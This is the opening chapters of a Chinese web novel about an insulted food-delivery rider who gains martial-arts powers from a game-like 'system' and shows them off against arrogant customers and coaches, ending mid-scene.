《迟到一分钟,武道开龙门》
第1章:迟到一分钟,系统激活
七月的江州市,热浪翻滚,空气粘稠得如同化不开的糖浆。
王大头骑着他那辆除了铃铛不响哪里都响的二手电驴,在车流中艰难地穿梭。汗水顺着额角流进眼睛,带来一阵刺辣的酸涩,他却连抬手擦一下的时间都没有。
“妈的,千万别迟到啊……”
他心里默念着,目光死死盯着手机导航上那条越来越近,却又被堵得纹丝不动的路线。头盔下,是一张因长期日晒而略显黝黑,却依旧能看出几分清秀底子的脸。只是此刻,这张脸上写满了焦虑和疲惫。
他叫王大头,名字土气,人却曾是村里几十年才出一个的名牌大学高材生,学的是硬邦邦的机械工程。本以为能凭知识改变命运,谁曾想毕业即失业,不懂人情世故,在求职路上撞得头破血流。屋漏偏逢连夜雨,老家父亲突发重病,巨额医药费像一座大山,瞬间压垮了这个本就贫寒的家庭。
为了来钱快,他撕下了体面,成了一名外卖员。
今天这一单,目的地是“帝景豪庭”,江州市有名的富人区,打赏丰厚。眼看超时在即,那笔可观的打赏就要不翼而飞,王大头的心都在滴血。
就在他几乎要放弃,准备接受平台处罚时,前方路口拐角处,一个颤巍巍的身影突然一晃,随即“哎哟”一声摔倒在地,手里的菜篮子滚出老远,蔬菜散落一地。
那是一位头发花白的老奶奶。
几乎是本能,王大头猛地捏紧了刹车。电驴发出刺耳的摩擦声,停在了老人身边。
“奶奶,您没事吧?”他赶紧下车,蹲下身,小心翼翼地去搀扶。
周围有车辆减速,有人探头张望,但没人下车。在这快节奏的都市,多一事不如少一事是很多人的信条。
老人借着王大头的力道站起来,摆摆手,脸上带着后怕和感激:“没事没事,小伙子,谢谢你啊,人老了,不中用了……”
王大头快速帮老人捡起散落的蔬菜,确认她只是受了点惊吓,并无大碍后,才重新跨上电驴。
“奶奶,您慢点,下次注意安全。”
说完,他拧紧电门,电驴发出一声不堪重负的嗡鸣,朝着帝景豪庭冲刺。
然而,就是这耽搁的一分钟,成了压垮骆驼的最后一根稻草。
当他气喘吁吁地提着外卖,跑到订单指定的那栋奢华别墅铁艺大门前时,一眼就看到了门口那个倚靠在一辆火红色法拉利跑车上的年轻男人。
男人一身名牌休闲装,手腕上那块百达翡丽在阳光下晃得人眼晕。他长相不算差,但眉宇间那股纨绔子弟特有的轻浮和傲慢,让他整个人显得格外惹人生厌。此人正是帝景豪庭有名的业主,宏远集团的太子爷——陈少。
陈少抬着手腕,看着价值不菲的手表,脸上挂着毫不掩饰的讥诮。
“啧啧,整整一分钟。”陈少的声音带着一种猫捉老鼠般的戏谑,“我说,你们这些送外卖的,时间观念都喂狗了吗?”
王大头胸口剧烈起伏,汗水浸透了外卖服,紧紧贴在身上。他强压着怒火,尽量让自己的语气保持平和:“对不起,陈先生,路上遇到点意外,一位老奶奶摔倒了,我……”
“停!”陈少不耐烦地打断他,用手指掏了掏耳朵,“老子不想听你编故事。迟到就是迟到,找什么借口?你们这些底层人,除了会找借口,还会干什么?”
“底层人”三个字像一根针,狠狠扎进了王大头的心底。他攥紧了拳头,指甲几乎要嵌进肉里。大学时那个意气风发的自己,与此刻浑身汗臭、被人指着鼻子辱骂的外卖员形象重叠在一起,巨大的落差让他感到一阵**的眩晕。
但他想到医院的催款单,想到父亲枯槁的面容,这拳头,又缓缓松开了。
他低下头,将外卖双手递过去:“陈先生,您的餐。这次是我的问题,抱歉。”
陈少却没有接,而是慢条斯理地从钱夹里抽出一小叠百元大钞,估计有一两千块。他用两根手指夹着钞票,轻佻地拍打着王大头的脸颊。
啪,啪,啪。
钞票边缘刮过皮肤,带着一种侮辱性的刺痛。
“喏,赏你的。”陈少的声音充满了施舍的味道,“你们这种乡下人,跑一趟也不容易,多买几个馒头啃啃,别饿死在城里,晦气!”
“乡下人”、“底层人”、“赏你的”……一个个词汇如同**,密集地刺穿着王大头最后的尊严。那钞票拍在脸上的触感,比直接扇他耳光更让他难以忍受。他感觉全身的血液都在往头上涌,眼睛因为极致的愤怒而布满了血丝。
他死死地盯着陈少那张令人作呕的脸,身体因愤怒而微微颤抖。大学里学到的物理公式、力学原理在这一刻毫无用处,只剩下最原始、最野蛮的怒火在胸腔里燃烧、**!
就在他几乎要控制不住,一拳砸向对方那高挺的鼻梁时——
【叮!检测到宿主遭遇极致不公与人格羞辱,符合绑定条件!】
【武道奇遇系统,正在激活……10%…50%…100%!激活成功!】
【绑定宿主:王大头。】
【本系统旨在发掘武道奇才,重振武道荣光。遭遇不公与逆境,即为机缘所在。逆境越强,恶意越深,奖励越厚!】
【新手礼包发放中……恭喜宿主获得:【淬体灵液】x1!【五年内力感悟】x1!】
一连串冰冷的、毫无感情的电子提示音,如同洪钟大吕,直接在他脑海深处炸响!
王大头猛地愣住了,滔天的怒火被这突如其来的变故硬生生打断。他下意识地眨了眨眼,眼前竟然浮现出一个半透明的
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、充满科技感的蓝色光幕。光幕上,两个仿佛由能量构成的图标正静静悬浮——一个是一滴翠绿欲滴、仿佛有生命在流动的液体;另一个,则是一团氤氲蒸腾、蕴含着难以言喻力量的气流。
幻觉?因为太愤怒产生幻觉了?
他用力甩了甩头,光幕依旧清晰。
“喂!傻了吗?钱拿着,滚啊!”陈少见王大头眼神发直,站在原地不动,不耐烦地将那叠钞票直接甩在了他的胸口。红色的钞票散落开来,飘落一地。
若是之前,王大头或许会为了生活,**地弯腰去捡。
但现在……
他看着光幕上那两样东西,虽然不明白具体是什么,但“系统”、“武道”、“淬体”、“内力”这些词汇,组合在一起,仿佛在他漆黑一片的前路上,撕开了一道通往未知世界的光明裂缝!
他深吸一口气,没有再去看地上散落的钞票,也没有去看陈少那嚣张的嘴脸。他深深地看了陈少一眼,那眼神,不再是之前的愤怒和隐忍,而是一种极致的冰冷,仿佛在看一个**。
陈少被这眼神看得莫名一怵,竟下意识地后退了半步。
王大头没有再说任何话,他转身,跨上电驴,拧动电门,头也不回地离开了这个让他尊严扫地的地方。
身后,传来陈少气急败坏的叫骂:“操!什么眼神?一个送外卖的穷逼,跟老子装什么大尾巴狼!下次别让老子再看到你!”
晚风带着凉意吹拂在脸上,却吹不散王大头心头那股炽热的火焰。
他回到那个位于城中村、只有十平米、月租三百的破旧出租屋。屋内除了一张床、一个掉漆的桌子和一个简陋的布衣柜,再无他物。唯一的装饰,是墙上那幅他刚毕业时,意气风发写下的书法条幅——“男儿立志出乡关,学不成名誓不还”。字迹虽显稚嫩,却笔锋凌厉,如今看来,却充满了讽刺。
他没有开灯,借着窗外邻家漏进来的微弱灯火和远处城市的霓虹,坐在冰冷的床沿上。
他的心念微动,尝试着集中精神。
下一刻,那散发着微光的蓝色光幕再次出现在他眼前。
【宿主:王大头】
【境界:未入门】
【内力:0年】
【武学:无】
【物品:【淬体灵液】x1,【五年内力感悟】x1】
不是梦!这一切都是真的!
他的目光死死锁定在那滴翠绿色的【淬体灵液】上。根据系统简单的说明,这东西能洗精伐髓,改善体质。
没有犹豫,他意念集中在【淬体灵液】上,选择“使用”。
嗡!
一股清凉的气息瞬间从他手中蔓延开来,仿佛握住了整个夏天最清凉的泉水。紧接着,那滴虚幻的灵液化作一道实质的绿光,没入他的胸口!
第2章:洗髓伐骨,脱胎换骨
“呃啊——!”
剧痛!难以想象的剧痛瞬间席卷全身!
仿佛有无数根烧红的钢针,从他四肢百骸的骨髓深处狠狠刺出!又像是有人拿着锉刀,在一点点刮他的骨头,抽他的筋!他的皮肤表面,开始渗出粘稠、散发着恶臭的黑色污垢,那是常年积累在体内的杂质和毒素。
他死死咬着牙,牙龈甚至渗出血丝,整个人蜷缩在冰冷的地面上,像一只被扔进开水里的虾米。汗水、血水、污垢混合在一起,将他彻底浸透。
墙上的那条幅,在黑暗中沉默地注视着这一切。
不知过了多久,仿佛一个世纪那么漫长,剧痛如同潮水般缓缓退去。
王大头瘫在地上,大口大口地喘着粗气,浑身虚脱,连动一根手指的力气都没有。但一种前所未有的轻盈感,开始从身体深处浮现。
他挣扎着爬起身,借着窗外透入的微光,看向自己裸露的手臂。皮肤似乎变得细腻了一些,原本有些松弛的肌肉,此刻线条变得清晰而紧绷,充满了**性的力量感。
他下意识地,对着斑驳的墙壁,轻轻挥出一拳。
砰!
一声闷响。并不响亮。
但当他移开拳头时,墙壁上,一个浅浅的、却清晰无比的拳印,赫然在目!
王大头的瞳孔骤然收缩,呼吸为之停滞。
他看着那个拳印,又低头看了看自己的拳头,眼中先是难以置信,随即,一股狂喜如同火山喷发般涌遍全身!
力量!这是真实不虚的力量!
他猛地抬起头,望向帝景豪庭的方向,之前所有的**、愤怒、隐忍,在这一刻尽数化为了冰冷的决心和燃烧的野火。
“陈少……”他低声自语,声音沙哑却带着铁石般的坚定,“今天的耻辱,我必百倍奉还!”
清晨的第一缕阳光,如同金色的细沙,透过没有窗帘遮挡的窗户,洒在王大头的脸上。
他猛地睁开双眼。
不是被闹钟吵醒,也不是被生活的压力惊醒,而是一种前所未有的、饱满的精神状态让他自然苏醒。
昨夜那场如同地狱酷刑般的改造,此刻带来的是一种涅槃重生般的感觉。
他坐起身,活动了一下筋骨,体内立刻传来一阵细微却充满力量的“噼啪”声,如同沉睡的巨龙舒展身体。原本因为长期奔波而时常酸痛的腰背,此刻暖洋洋的,充满了活力。五感变得异常敏锐,他能清晰地听到窗外几十米外麻雀的啁啾声,能闻到空气中漂浮的、隔壁早餐摊传来的食物香气,甚至能看清阳光中飞舞的、那些平时根本注意不到的微尘。
“这……就是洗髓伐骨的效果吗?”王大头看着自己明显变得干净、紧实的双手,喃喃自语。
他想起昨夜那个浅浅的拳印,忍不住再次走到墙边。
斑驳的墙面上,那个拳印依旧清晰。他伸出食指,轻轻触摸着拳印的边缘,感受着那份实实在在的破坏力,心脏再次不争气地加速跳动。
这不是梦!这是改变命运的开始!
他冲进狭**仄、满是锈迹的卫生间,拧开水龙头,用冰冷的自来水狠狠冲洗着脸和身体。洗去昨夜排出的、已经干涸的污垢后,镜子里呈现出的,是一张虽然依旧黝黑,但气色红润、眼神锐利得如同出鞘利剑的脸庞。原本因为营养不良而有些枯黄的头发,此刻也似乎多了几分光泽。
“咕噜噜……”
一阵强烈的饥饿感袭来,比以往任何一次都要凶猛。
他看了看时间,已经快到接单早高峰了。顾不上仔细体会身体的变化,他飞快地换上一身干净(虽然依旧廉价)的外卖服,从桌上抓起两个昨晚剩下的冷馒头,一边狼吞虎咽,一边冲下楼。
跨上电驴,感受着身体里涌动的仿佛用不完的力气,他深吸一口清晨微凉的空气,拧动了电门。
今天,注定会是不同寻常的一天。
早高峰的街道依旧拥堵,汽车排成长龙,鸣笛声此起彼伏。
若是往常,王大头会和所有同行一样,在车流的缝隙中心急如焚地穿梭,咒骂着这该死的交通。
但今天,他感觉整个世界都不一样了。
他的反应速度快得惊人,眼睛如同高速摄像机,能精准捕捉到每一个可能出现的缝隙。手脚配合达到了完美的协调,电驴在他手下,仿佛拥有了生命,在停滞的车流中划出一道道流畅而惊险的弧线。
“我靠!哥们儿,牛逼啊!”一个同样送外卖的骑手,看着他几乎贴着公交车车头飘移过去的动作,惊得张大了嘴巴,忍不住喊了一声。
王大头没有回头,只是嘴角勾起一抹不易察觉的弧度。
这种掌控一切的感觉,太美妙了!
很快,他接到了今天的第一个订单,送往一个老旧的、没有电梯的七层小区。
“七楼,真够呛。”他看了眼订单信息,叹了口气。这是外卖员最头疼的订单类型之一。
停好车,他提着餐食,一步跨
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上楼梯。
然后,他愣住了。
以往需要耗费不少体力,中途甚至需要歇口气的七层楼,此刻在他脚下,竟如同平地一般!他几乎是脚尖轻轻一点,身体就轻盈地掠上了半层楼梯,步伐稳健,气息均匀,没有丝毫吃力感。
不到二十秒,他就站在了七楼客户的门口。
他按下门铃,平稳了一下呼吸(其实根本没必要),将餐食递给开门的住户。
“谢谢。”住户接过外卖,有些惊讶地看了他一眼,“小哥,你上来得真快,我刚听到你停车的声音。”
王大头笑了笑,没有解释,转身下楼。
这一次,他没有一步步走,而是单手一撑楼梯扶手,身体如同灵巧的猿猴,直接从楼梯中间的缝隙一跃而下,轻飘飘地落在地面,没有发出太大的声响。
这一幕,恰好被楼下一个小年轻用手机拍了下来。
“喂!老婆!快看!我拍到武林高手了!送外卖的!”小年轻激动地对着手机视频喊道,“这轻功,绝了!‘我靠,外卖小哥会轻功?!’这标题肯定火!”
王大头隐约听到了身后的惊呼和议论,但他并未在意。实力的提升,带来的不仅仅是身体的改变,更有心态上的悄然转变。一些曾经看来很重要的事情,比如别人的目光,此刻似乎变得无足轻重起来。
他需要更多地去熟悉和掌控这具全新的身体,也需要……更多的“奇遇”。
系统的触发条件,他已经摸清——“送外卖迟到”且“遭遇不公或辱骂”。前者是引子,后者才是关键。
那么,接下来要做的,就是在送餐过程中,“被动”地寻找这种“机缘”了。
他骑着车,目光扫过熙熙攘攘的街道,眼神变得深邃起来。那个嚣张的陈少,那个看似遥不可及的富二代,在他心中,已经从一个需要仰望和恐惧的对象,变成了一个……潜在的、可以反复刷新的“经验包”和“奖励提供者”。
只是,下一次见面,角色就该互换了。
他抬头看了看湛蓝的天空,阳光洒在他坚毅的侧脸上。父亲的重病,巨额的债务,曾经如同乌云压顶,此刻,他却看到了一丝撕破乌云的金色曙光。
“爸,等着我。”他在心里默默说道,“很快,我就能赚到足够的钱,治好你的病!”
电驴加速,汇入车流,向着下一个订单的目的地驶去。而他的武道之路,也正式从这喧嚣的都市,开始了第一步。
第3章:第一次装逼,惊呆路人
适应了身体变化的王大头,送餐效率高得吓人。不到中午,他已经完成了平时需要忙到下午的任务量,而且丝毫没有感到疲惫。
“叮——您有新的美团订单,请及时处理。”
手机提示音响起,新的订单来了。取餐点是一家网红轻食店,送餐目的地是——“巅峰健身俱乐部”。
健身房?王大头眉头微挑,想起了自己那具刚刚经过强化,却还没机会真正测试极限的身体。去那里送餐,似乎是个不错的机会。
他很快取到餐,那是一份看起来分量十足、价格不菲的健身餐。骑上车,他朝着健身房方向驶去。
“巅峰健身俱乐部”位于一个繁华商圈的三楼,装修豪华,巨大的落地玻璃窗后面,能看到各式各样的健身器材和正在挥汗如雨的人们。
王大头提着餐盒走进健身房,一股混合着汗水、消毒水和蛋白粉气味的空气扑面而来。震耳欲聋的重金属音乐敲打着耳膜,随处可见身材健硕、肌肉虬结的男男女女。
他的出现,与这里的环境显得有些格格不入。
那身蓝色的外卖服,在此刻成了“外边”的明显标志。
“喂,送外卖的,这边!”前台一个化妆精致、穿着紧身背心的女接待,瞥了他一眼,随手往里面一指,“送到力量区,找王教练。”
王大头点点头,默不作声地朝力量区走去。
力量区是健身房的核心区域,这里充斥着钢铁碰撞的轰鸣和男人低沉的嘶吼。几个只穿着运动背心、露出夸张肌肉纬度的壮汉,正在卧推架、深蹲架上挑战着自己的极限。
“王教练,你的外卖。”王大头找到那个正在指导学员、脖子上挂着口哨、肌肉格外发达的平头男人,将餐盒递了过去。
王教练接过外卖,随手放在一旁的器械上,目光却在王大头身上扫了一圈,带着毫不掩饰的审视和……一丝轻蔑。
“啧,你们送外卖的,一天天风吹日晒,爬楼跑腿,看着都虚。”王教练或许是出于职业习惯,或许是纯粹想显摆自己的优越感,用半开玩笑半认真的语气说道,“怎么样,有没有兴趣办张卡?来我这练练?就你这小身板,别哪天爬楼摔着了。”
他的话引来旁边几个正在休息的壮汉一阵低低的哄笑。在他们看来,这种瘦削(相对他们而言)的外卖员,确实属于“弱鸡”范畴。
王大头原本准备送完就走,听到这话,脚步顿住了。
他缓缓转过身,平静地看着王教练那张带着戏谑笑容的脸。
若是以前,他或许会低着头,尴尬地快步离开。但今天,他体内那五年的内力在缓缓流淌,洗髓伐骨后的身体在微微发热。
“虚不虚,不是看肌肉块头大小的。”王大头的声音不大,却清晰地穿透了嘈杂的音乐声。
“哦?”王教练来了兴趣,抱着双臂,走到王大头面前,接近一米九的身高带着一股压迫感,“那看什么?看你这细胳膊细腿?”
王大头没有回答他的问题,目光转向了力量区中央那个空着的、加载了满满杠铃片的深蹲架。
他迈步走了过去。
健身房里的音乐不知被谁调小了一些,不少人的目光都被这个走向深蹲架的外卖小哥吸引。包括之前那个前台女接待,也好奇地探过头来。
“他想干嘛?不会是想试试那个重量吧?”
“开玩笑,那是王教练刚用完的,两边各加了一百公斤的片,加上杠铃杆,总重快两百三十公斤了!”
“找死吗?他那身板,别说深蹲,扛起来都难!”
窃窃私语声响起,所有人都带着看笑话的心态。
王教练也双手抱胸,好整以暇地看着,嘴角噙着一丝冷笑。他准备等这个不知天高地厚的外卖仔出丑时,再好好“教育”他一下。
王大头站在深蹲架前,看着那根被巨大重量压得微微弯曲的杠铃杆。
他没有像其他健身者那样,先活动关节,涂抹镁粉,或者戴上护腰、护膝。他只是简单地伸出手,握住杠铃杆。
触手冰凉而粗糙。
他深吸一口气,这口气息悠长而深沉,仿佛蕴含着某种独特的韵律。体内那五年的内力,如同被唤醒的溪流,瞬间加速运转,涌向他的四肢百骸!
然后,在所有人惊愕的目光注视下,他既没有采用高杠位,也没有采用低杠位,而是用一种看似随意,却极为精准的姿势,将杠铃担在了自己……几乎没有三角肌隆起的肩背上!
“他疯了!”
“腰会断的!”
有人甚至忍不住惊呼出声。
王教练脸上的冷笑也僵住了,眼神里多了一丝凝重。这起杠的姿势,看似随意,却稳得惊人!
下一刻,王大头腰腹核心骤然收紧,双腿如同生根般稳稳扎在地上。他没有嘶吼,没有面目狰狞,只是平静地、甚至带着一丝轻松地,屈膝,下蹲!
动作标准得如同教科书!髋低于膝,大腿与地面平行!
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>然后,起身。
整个过程,流畅、稳定、举重若轻!那两百三十公斤的恐怖重量,在他身上,仿佛轻若无物!
咕咚。
不知道是谁,艰难地咽下了一口唾沫。
整个力量区,陷入了一片死寂。只剩下背景音乐还在无力地回荡。
所有人都张大了嘴巴,如同被施了定身法,眼睛瞪得如同铜铃,死死地盯着那个已经将杠铃稳稳放回深蹲架上的蓝色身影。
王教练脸上的肌肉在抽搐,之前那副居高临下的表情早已荡然无存,只剩下无比的震惊和……一丝难以言喻的尴尬。
王大头拍了拍手上并不存在的灰尘,转身,目光再次落在王教练身上,依旧平静。
“现在,还虚吗?”
淡淡的一句话,如同无形的巴掌,狠狠抽在王教练和所有刚才发出哄笑的人脸上。
王教练脸上一阵红一阵白,张了张嘴,却一个字也说不出来。
王大头没有再理会他们,径直朝着健身房门口走去。所过之处,那些肌肉壮汉们下意识地纷纷让开道路,看向他的眼神里,充满了敬畏和不可思议。
走到门口时,他隐约听到身后传来那个前台女接待激动的声音:“……拍下来了!全都拍下来了!‘外卖小哥深蹲230公斤,惊呆全场肌肉男!’这视频绝对要爆!”
王大头嘴角微不可查地向上牵动了一下。
装逼的感觉……确实不赖。
他走出健身房,阳光洒落一身。他知道,这仅仅只是个开始。体内那股名为“内力”的力量,以及脑海中那个神秘的系统,将带领他走向一个完全不同的人生。
而那个还在医院里等待救治的父亲,是他此刻变强的,最原始、也是最强大的动力。
他跨上电驴,拿出手机,准备接下今天的最后一单。就在这时,同事兼好友张猛的电话打了进来。
“大头!在哪儿呢?晚上有空没?”张猛的声音带着一丝神秘和兴奋。
“刚送完一单,怎么了?”
“有个来钱快的路子,地下拳赛!听说打赢一场就好几千,连胜更多!就是……有点危险。你爹那边不是急用钱吗?敢不敢跟我去见识见识?”
地下……拳赛?
王大头握着手机的手,微微紧了一下。危险?对于刚刚体验到力量滋味的他来说,危险,往往意味着更丰厚的“奇遇”奖励。
他眼中闪过一丝锐利的光芒。
“时间,地点。”
第4章:刁蛮业主,内力反震
傍晚时分,天边烧起一片绚烂的晚霞,将高楼林立的城市勾勒出金色的轮廓。但王大头无暇欣赏这美景,电驴的速度比起白天又快了几分,车身偶尔传来的异响被他直接忽略。体内五年内力如同温顺的暖流,时刻滋养着他的筋骨,也让他对身体的掌控力达到了一个匪夷所思的境界。
“叮咚,您有新的饿了么订单,请及时处理。”
手机提示音响起,取餐点是一家需要排队的老字号烧鹅店,送餐地址是——“江滨雅苑”,又一个高端住宅区。
王大头眼神微动。高档小区,意味着更复杂的住户,也意味着……更高的“奇遇”概率?他嘴角扯起一个微冷的弧度,拧动电门,朝着烧鹅店驶去。
取到那份香气四溢、包装精美的烧鹅,他特意看了一眼送达时间,还算充裕。但他并未减速,依旧风驰电掣。
江滨雅苑的门禁比帝景豪庭稍松,他登记后得以进入。小区内绿化极好,小桥流水,亭台楼阁,隐约还能听到某户人家传来悠扬的古筝声,曲调清越,带着一丝超然物外的意味,与都市的喧嚣格格不入。王大头不由得多看了一眼琴声传来的那栋楼,记下了位置。
按下订单地址的门铃,对讲器里传来一个含糊不清、带着浓重醉意的男声:“谁…谁啊?”
“您好,饿了么外卖。”
“送…送上来!”对方不耐烦地吼道,“磨磨唧唧!”
王大头眉头微皱,但还是提着餐盒走上楼。刚走到门口,防盗门就“哐当”一声被猛地拉开,一股浓烈的酒气混杂着烟草味扑面而来。
门口站着一个四十岁左右的中年男人,穿着皱巴巴的真丝睡袍,头发凌乱,面色潮红,眼神浑浊而充满戾气。他脚边还倒着一个空了的茅台酒瓶,瓶身上那精美的飞天图案,与他此刻的狼狈形成鲜明对比。
“妈的…这么慢!老子…饿**!”醉汉骂骂咧咧,一把夺过王大头手中的外卖袋,粗鲁地检查起来。
王大头沉默地看着他,准备等他确认无误后扫码离开。
然而,醉汉检查完外卖,却并没有拿出手机付款的意思(这是到付订单),反而抬起醉眼朦胧的眼睛,上下打量着王大头,目光最终落在他那双沾了些灰尘的旧运动鞋上。
“呸!穷酸样!”醉汉啐了一口,唾沫星子几乎溅到王大头裤腿上,“知道老子这房子多少钱一平吗?踩脏了老子的地毯,你赔得起吗?”
无理取闹。
王大头心中冷笑,面上依旧平静:“先生,您的餐费一共是158元,麻烦您扫码支付一下。”
“支付?付你妈!”醉汉像是被点燃的炮仗,突然暴怒起来,伸出一根手指,几乎要戳到王大头的鼻子上,“你什么态度?啊?一个送外卖的,跟老子拽什么?信不信老子一个电话,让你在这行混不下去!”
说着,他似乎觉得光骂不够解气,竟伸出手,用尽全力朝着王大头的胸口狠狠推搡过来!
这一下若是推实了,以王大头之前“虚弱的”外卖员体质,恐怕直接就会从楼梯上滚下去!
就在醉汉的手掌即将接触到王大头胸口的刹那——
嗡!
王大头体内那平静流淌的五年内力,仿佛受到了某种挑衅,瞬间自行加速运转!一股温热的气流自然而然地汇聚于胸前膻中穴附近,形成了一层微不可查、却坚韧无比的无形气墙。
“砰!”
醉汉的手掌推在了这层气墙上。
他感觉就像是推在了一堵充满弹性的橡胶墙上,一股远比他自己使出力量更强大的反震之力,顺着他的手臂猛地传回!
“哎哟喂!”
醉汉发出一声怪叫,整个人如同被一辆无形的汽车撞上,脚下踉跄,“噔噔噔”连退五六步,终究是没能稳住身形,一屁股重重地摔在了他家那名贵的波斯地毯上,四脚朝天,睡袍散开,露出了臃肿的肚腩,模样极其狼狈可笑。
那份刚到手还热乎的烧鹅,也脱手飞出,油渍溅了他一身。
王大头站在原地,纹丝不动,甚至连衣角都没有被对方碰到。他冷漠地看着在地上挣扎**的醉汉,内心并无太多波澜。这只是内力最基本的自动护体,甚至连反击都算不上。
醉汉摔得七荤八素,酒意都醒了大半。他挣扎着坐起身,先是茫然,随即是剧烈的疼痛从尾椎骨传来,最后化为了无边的惊恐!
他刚才明明用了那么大力气推过去,怎么对方动都没动,自己反而飞出去了?这根本不科学!
他抬起头,看着门口那个依旧站得笔直,眼神平静得令人心寒的外卖员,一个
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他只在武侠电影里看到过的词汇,猛地蹦进了他的脑海。
“你…你…”醉汉指着王大头,手指颤抖,声音因为恐惧而变得尖利走调,“你会功夫?!”
王大头没有承认,也没有否认。他只是迈步,走进了房间,从地上捡起那个摔得有些变形的外卖袋,看了看,还好包装没破。他将袋子放在门口的玄关柜上。
那玄关柜上摆放着一个造型古朴的紫砂茶壶,旁边还有一本翻开的、线装的《孙子兵法》,显然屋主平时附庸风雅,但此刻,这一切都与他的丑态形成了讽刺的对比。
“先生,您的烧鹅。”王大头的声音依旧平稳,“餐费158元,请支付。”
醉汉看着他那双平静无波的眼睛,只觉得一股寒气从脚底板直冲天灵盖。他再也没有了之前的嚣张气焰,手忙脚乱地摸出手机,声音带着哭腔:“我付!我马上付!你…你别过来!”
他哆哆嗦嗦地扫码,支付,甚至因为手抖多按了一个零,支付了1580元。
王大头听到手机到账的提示音,看了一眼金额,眉头微挑,但也没说什么。他转身,准备离开。
走到门口,他脚步顿住,回头看了一眼还坐在地上不敢起来的醉汉,以及那本《孙子兵法》,淡淡地说了一句:“《孙子兵法》有云,‘主不可以怒而兴师,将不可以愠而致战’。酒能乱性,也能招祸,好自为之。”
说完,他径直下楼,消失在楼梯拐角。
醉汉呆呆地坐在地上,看着空荡荡的门口,又看了看那本《孙子兵法》,回想起刚才那诡异的一幕和对方临走时那句充满古典兵家智慧的话,一股难以言喻的后怕和羞耻感涌上心头。他猛地抓起那本兵书,狠狠地摔在地上……
回到车上的王大头,看着手机上多出来的1422元“意外之财”,脸上并无喜色。这点钱,对于父亲的医药费而言,依旧是杯水车薪。
但这次经历,让他对内力的运用有了更直观的认识。自动护体,仅仅是其冰山一角。
“功夫……”他喃喃自语,脑海中浮现出系统光幕上那个【五年内力感悟】的图标。或许,是时候吸收它了。
不过,在此之前,他需要更深入地了解这个系统。它似乎……有着自己的“性格”和原则。
第6章:运动员体校风波
医院的消毒水气味仿佛还萦绕在鼻尖,父亲躺在病床上那苍白而虚弱的面容,如同烙印般刻在王大头的脑海里。巨额的费用,紧迫的时间,像两条无形的鞭子,抽打着他必须更快地前行。
张猛提到的“地下拳赛”是条险路,但在绝境中,却透着一种致命的诱惑。不过,在踏上那条路之前,他需要更熟悉这具身体的力量,也需要……一笔启动资金。
第二天,王大头接单时,特意筛选着目的地。当看到一个送往“江州市青少年体育运动学校”的订单时,他眼神微动,接了下来。
体校,汇聚着这座城市身体天赋最好的一批年轻人,也是荷尔蒙和傲气最盛的地方。
骑着电驴进入体校大门,一股蓬勃的、带着汗水和青春气息的热浪扑面而来。操场上,跑道间,随处可见进行着各种专项训练的学生,口号声、器械撞击声不绝于耳。
送餐地点是力量训练馆。一走进馆内,沉闷的金属撞击声和浓烈的橡胶、汗水混合气味更加浓郁。各种专业的健身器械林立,不少只穿着背心、肌肉线条分明的年轻运动员正在教练的指导下挥汗如雨。
“你好,外卖。”王大头找到前台。
前台是个扎着马尾、面容清秀的女生,她抬头看了王大头一眼,指了指里面:“是刘教练点的,他在里面带队员练深蹲呢。”
王大头点点头,提着餐盒朝力量区深处走去。
很快,他看到了那位刘教练。三十多岁年纪,板寸头,脖子粗壮,穿着一件紧身的黑色训练服,鼓胀的胸肌和肱二头肌几乎要把衣服撑裂。他正抱着双臂,站在一个深蹲架旁,大声呵斥着一个动作有些变形的年轻运动员。
“腰腹收紧!核心是发动机!你这软塌塌的样子,吃屎都赶不上热乎的!”刘教练的嗓门很大,带着一股行伍出身的粗粝和不容置疑的权威。
那年轻运动员被骂得满脸通红,更加紧张,动作越发僵硬。
王大头默默走过去,将外卖递上:“刘教练,您的外卖。”
刘教练被打断,有些不耐烦地转过头,目光在王大头身上那身蓝色外卖服和他略显清瘦(相较于专业运动员)的身材上扫过,眉头立刻皱了起来,毫不掩饰地流露出一种职业性的轻蔑。
“放边上。”他随手一指旁边的器械,然后又像是想起了什么,带着几分戏谑对那个正在深蹲的队员说,“看看,不好好练,以后毕业了没出路,就只能像他一样,去送外卖!风吹日晒,赚那点辛苦钱,连个好身板都混不上,虚得很!”
这话声音不小,附近几个正在训练的队员都听到了,发出一阵低低的哄笑。在他们看来,外卖员这种职业,和他们这些未来可能进入省队、国家队的运动员,完全是两个世界的人。
王大头的脚步顿住了。
他本来不想节外生枝,但“虚得很”这三个字,配合上对方那毫不掩饰的鄙夷,像一根针,轻轻刺了他一下。若是平时,他或许一笑置之,但此刻,他体内流淌的内力,以及昨夜刚刚吸收的【五年内力感悟】所带来的那份对身体的绝对掌控感,让他无法对这种基于表象的武断评判无动于衷。
更重要的是,他需要确认自己的力量层次,也需要……一点点“意外”的收获。体校教练的轻视,似乎符合系统“遭遇不公”的某种边界。
他没有立刻发作,而是目光平静地转向那个深蹲架。架上加载的杠铃片不少,总重大概在一百八十公斤左右。对于专业运动员来说,这是基础训练重量,但对于普通人,已是难以企及。
刘教练见王大头没走,反而盯着器械看,不由得嗤笑一声:“怎么?没见过?这东西可不是你们送外卖的能玩的,小心闪了腰,讹上我们学校。”
王大头转过头,看向刘教练,语气平淡无波:“刘教练,您觉得送外卖的,身体都很虚?”
“不然呢?”刘教练抱着胳膊,胸肌故意绷了绷,“一天到晚骑个破车,能有什么核心力量?不是我吹,就我这最差的队员,身体素质都能甩你们几条街。”
“是吗?”王大头嘴角勾起一抹微不可查的弧度,“那不如,我们打个赌?”
“打赌?”刘教练来了兴趣,觉得这个外卖员有点不知天高地厚,“赌什么?”
“就赌这个。”王大头指了指深蹲架,“我用标准姿势做一次,如果做到了,您这单外卖,给我十倍费用。如果做不到,我赔您十倍。如何?”
这话一出,不仅刘教练愣住了,周围所有听到的队员都停下了训练,围拢过来,脸上充满了好奇和看好戏的神情。
“哈哈!你小子疯了吧?”刘教练像是听到了天大的笑话,“一百八十公斤!你知道什么概念吗?就你?”
“敢不敢赌?”王大头依旧平静。
刘教练被他的态度激起了火气:“赌!老子跟你赌!不过十倍太少,一百倍!一万五千八!你敢吗?”他料定王大头拿不出这么多钱,想吓退他。
“可以。”王大头却毫不犹豫地点头,“如果我做到了,您额外再答应我一个条件。”
“什么条件?”
“允许我在这里,借用一下你们的体能检测仪。”王大头早就注意到了角落那台看起来颇为先进的仪器。他需要一些客观数据,来量化自己现在的身体状态。
刘教练狐疑地看了他一眼,
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觉得这小子要求古怪,但一想到他根本不可能完成,便大手一挥:“行!只要你做得到,随你用!”
